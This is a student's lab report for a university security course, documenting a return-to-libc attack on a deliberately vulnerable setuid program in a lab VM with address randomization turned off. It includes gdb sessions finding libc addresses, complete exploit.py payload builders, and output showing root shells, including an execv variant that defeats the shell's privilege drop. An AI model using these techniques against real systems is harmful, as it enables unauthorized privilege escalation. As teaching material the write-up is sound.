Dhanashree Srinivasa

SUID: 393473169

Course: Computer Security - CSE 643

Return-to-libc Attack Lab

Task 1: Finding out the Addresses of libc Functions

Turn off address randomization and modify link

```
[11/08/23]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[11/08/23]seed@VM:~$  sudo ln -sf /bin/zsh /bin/sh
[11/08/23]seed@VM:~$
[11/08/23]seed@VM:~$
[11/08/23]seed@VM:~$
[11/08/23]seed@VM:~$ cd Downloads/
[11/08/23]seed@VM:~/Downloads$ cd Labsetup/
[11/08/23]seed@VM:~/.../Labsetup$ touch badfile
[11/08/23]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
```

Debug using the gdb

```
[11/08/23]seed@VM:~/.../Labsetup$
[11/08/23]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
```

We debug the vulnerable program retlib and create a breakpoint in the main function. Once the program is run and reaches the breakpoint, the program is run line by line.

```
gdb-peda$
gdb-peda$ break main
Breakpoint 1 at 0x12ef
gdb-peda$ run
Starting program: /home/seed/Downloads/Labsetup/retlib
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb6808 --> 0xffffd25c --> 0xffffd41d ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0x8e5c86a6
EDX: 0xffffd1e4 --> 0x0
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0x0
ESP: 0xffffd1bc --> 0xf7debee5 (<__libc_start_main+245>:        add    esp,0x10)
EIP: 0x565562ef (<main>:        endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562ea <foo+58>: mov    ebx,DWORD PTR [ebp-0x4]
   0x565562ed <foo+61>: leave
   0x565562ee <foo+62>: ret
=> 0x565562ef <main>:   endbr32
   0x565562f3 <main+4>: lea    ecx,[esp+0x4]
   0x565562f7 <main+8>: and    esp,0xfffffff0
   0x565562fa <main+11>:        push   DWORD PTR [ecx-0x4]
   0x565562fd <main+14>:        push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffd1bc --> 0xf7debee5 (<__libc_start_main+245>:       add    esp,0x10)
0004| 0xffffd1c0 --> 0x1
0008| 0xffffd1c4 --> 0xffffd254 --> 0xffffd3f8 ("/home/seed/Downloads/Labsetup/retlib")
0012| 0xffffd1c8 --> 0xffffd25c --> 0xffffd41d ("SHELL=/bin/bash")
0016| 0xffffd1cc --> 0xffffd1e4 --> 0x0
0020| 0xffffd1d0 --> 0xf7fb4000 --> 0x1e6d6c
0024| 0xffffd1d4 --> 0xf7ffd000 --> 0x2bf24
0028| 0xffffd1d8 --> 0xffffd238 --> 0xffffd254 --> 0xffffd3f8 ("/home/seed/Downloads/Labsetup/retlib")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x565562ef in main ()
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$
$2 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$3 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ uit
Undefined command: "uit".  Try "help".
gdb-peda$ quit
```

Get the values for the system and exit from the library.

Task 2: Putting the shell string in the memory

Create a shell with name MYSHELL and export to environment variable.

```
[11/09/23]seed@VM:~/.../Labsetup$
[11/09/23]seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[11/09/23]seed@VM:~/.../Labsetup$ env | grep MYSHELL
MYSHELL=/bin/sh
```

Create a prtenv.c file and add the below code. Compile and run

```
  GNU nano 4.8                                                    prtenv.c
#include<stdio.h>
#include<stdlib.h>

void main(){
     char* shell = getenv("MYSHELL");
     if (shell)
        printf("%x\n", (unsigned int)shell);
}
```

```
[11/09/23]seed@VM:~/.../Labsetup$ nano prtenv.c
[11/09/23]seed@VM:~/.../Labsetup$
[11/09/23]seed@VM:~/.../Labsetup$
[11/09/23]seed@VM:~/.../Labsetup$ gcc -m32 -fno-stack-protector -z noexecstack -o prtenv  prtenv.c
[11/09/23]seed@VM:~/.../Labsetup$ ./prtenv
ffffd459
```

Since prtenv and retlib are both 6 letters, the results will be same as shown below.

```
  GNU nano 4.8                                                    retlib.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];
    unsigned int *framep;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));

    /* print out information for experiment purpose */
    printf("Address of buffer[] inside bof():  0x%.8x\n", (unsigned)buffer);
    printf("Frame Pointer value inside bof():  0x%.8x\n", (unsigned)framep);

    strcpy(buffer, str);

    return 1;
}

void foo(){
    static int i = 1;
    printf("Function foo() is invoked %d times\n", i++);
    return;
}
```

```
int main(int argc, char **argv)
{
   char* shell = getenv("MYSHELL");
   if (shell)
     printf("%x\n", (unsigned int)shell);

   char input[1000];
   FILE *badfile;

   badfile = fopen("badfile", "r");
   int length = fread(input, sizeof(char), 1000, badfile);
   printf("Address of input[] inside main():  0x%x\n", (unsigned int) input);
   printf("Input size: %d\n", length);

   bof(input);

   printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
   return 1;
}
```

Run and compile the retlib file and get the result.

```
[11/09/23]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
[11/09/23]seed@VM:~/.../Labsetup$ ./retlib
ffffd459
Address of input[] inside main():  0xffffcdec
Input size: 0
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
Segmentation fault
```

Task 3: Launching the Attack

Based on the result from task 1 and 2, change the exploit.py file with the values.

```
  GNU nano 4.8                                  exploit.py
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffd459       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

The value of Y is 0xffffcdc8 – 0xffffcdb0 + 4 is 28

The value of X is Y+8

The value of Z is Y+4

Run and compile the file. The attack is successful

```
[11/09/23]seed@VM:~/.../Labsetup$ nano exploit.py
[11/09/23]seed@VM:~/.../Labsetup$
[11/09/23]seed@VM:~/.../Labsetup$ ./exploit.py
[11/09/23]seed@VM:~/.../Labsetup$ ./retlib
ffffd459
Address of input[] inside main():  0xffffcdec
Input size: 300
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
# whoami
root
```

Attack variation 1: Is the exit() function really necessary? Please try your attack without including the address of this function in badfile. Run your attack again, report and explain your observations.

```
  GNU nano 4.8                                  exploit.py
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffd459       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

#Z = 32
#exit_addr = 0xf7e04f80     # The address of exit()
#content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

```
[11/09/23]seed@VM:~/.../Labsetup$ nano exploit.py
[11/09/23]seed@VM:~/.../Labsetup$ ./exploit.py
[11/09/23]seed@VM:~/.../Labsetup$ ./retlib
ffffd459
Address of input[] inside main():  0xffffcdec
Input size: 300
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
# exit
Segmentation fault
```

The exit() function address was commented out. We observe that the exit() function address is not necessary to make the attack on the user. The root shell is spawned without giving the address of exit(). The privileges can be elevated normally, but the program crashes when exiting.

Attack variation 2: After your attack is successful, change the file name of retlib to a different name, making sure that the length of the new file name is different. For example, you can change it to newretlib. Repeat the attack (without changing the content of badfile). Will your attack succeed or not? If it does not succeed, explain why

```
[11/09/23]seed@VM:~/.../Labsetup$
[11/09/23]seed@VM:~/.../Labsetup$ ./rrrlib
ffffd459
Address of input[] inside main():  0xffffcdec
Input size: 300
Address of buffer[] inside bof():  0xffffcdb0
Frame Pointer value inside bof():  0xffffcdc8
# whoami
root
# exit
Segmentation fault
[11/09/23]seed@VM:~/.../Labsetup$
[11/09/23]seed@VM:~/.../Labsetup$
[11/09/23]seed@VM:~/.../Labsetup$ ./newretlib
ffffd453
Address of input[] inside main():  0xffffcddc
Input size: 300
Address of buffer[] inside bof():  0xffffcda0
Frame Pointer value inside bof():  0xffffcdb8
zsh:1: command not found: h
Segmentation fault
[11/09/23]seed@VM:~/.../Labsetup$
```

Here we change the name of the program from retlib to newretlib and run the exploit program and the newretlib program. We see that we get Segmentation fault and we are unable to get the root shell and attack the user because when we change the name of the file, then address on the stackframe also changes.

Task 4: Defeat Shell's countermeasure

Add another shell named PSHELL as an environment variable.

```
[11/13/23]seed@VM:~/.../Labsetup$ env | grep PSHELL
PSHELL=-p
```

```
 GNU nano 4.8                                    prtenv.c
#include<stdio.h>
#include<stdlib.h>

void main(){
     char* shell = getenv("MYSHELL");
     if (shell)
        printf("MYSHELL= 0x%x\n", (unsigned int)shell);

     char* shell1 = getenv("PSHELL");
     if (shell1)
        printf("PSHELL= 0x%x\n", (unsigned int)shell1);
}
```

Print all the environment variables

```
[11/13/23]seed@VM:~/.../Labsetup$ ./prtenv
MYSHELL= 0xffffd443
PSHELL= 0xffffde88
```

This below picture shows the address of libc functions exit() and execv() for the argument strings

" /bin/bash " and " -p ". These addresses can be used to create badfile.

```
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffd44d in ?? ()
gdb-peda$ exit
Undefined command: "exit".  Try "help".
gdb-peda$ p exit
$1 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ p execv
$2 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$ quit
```

```
[11/13/23]seed@VM:~/.../Labsetup$ ./retlib
ffffd443
Address of input[] inside main():  0xffffcddc
Input size: 0
Address of buffer[] inside bof():  0xffffcda0
Frame Pointer value inside bof():  0xffffcdb8
```

```
>>> 0xffffcddc + 100
4294954560
>>> hex(4294954560)
'0xffffce40'
```

```
 GNU nano 4.8                                    exploit.py
#!/usr/bin/env python3
import sys
from array import array

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

A = 40
ar_addr = 0xffffce40
content[A:A+4] = (ar_addr).to_bytes(4,byteorder='little')

X = 36
sh_addr = 0xffffd443       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e994b0   # The address of system()/execv
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

arr_str = array('I', [0xffffd443,0xffffde88, 0x000000000])
byte_rep = b''.join(x.to_bytes(4, byteorder='little') for x in arr_str)

content[100:100 + len(byte_rep)] = byte_rep


# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

Here I have created an array arr_str which takes the addresses of bin/sh, -p, and NULL values as arguments.

And also I have changed the value of system to the address of execv

The value of ‘A’ is address of the Input[] inside main as shown below.

```
[11/13/23]seed@VM:~/.../Labsetup$ ./exploit.py
[11/13/23]seed@VM:~/.../Labsetup$ ./retlib
ffffd443
Address of input[] inside main():  0xffffcddc
Input size: 300
Address of buffer[] inside bof():  0xffffcda0
Frame Pointer value inside bof():  0xffffcdb8
# whoami
root
# exit
```

The above screenshot shows that return-to-libc attack is executed, and the attack is successful.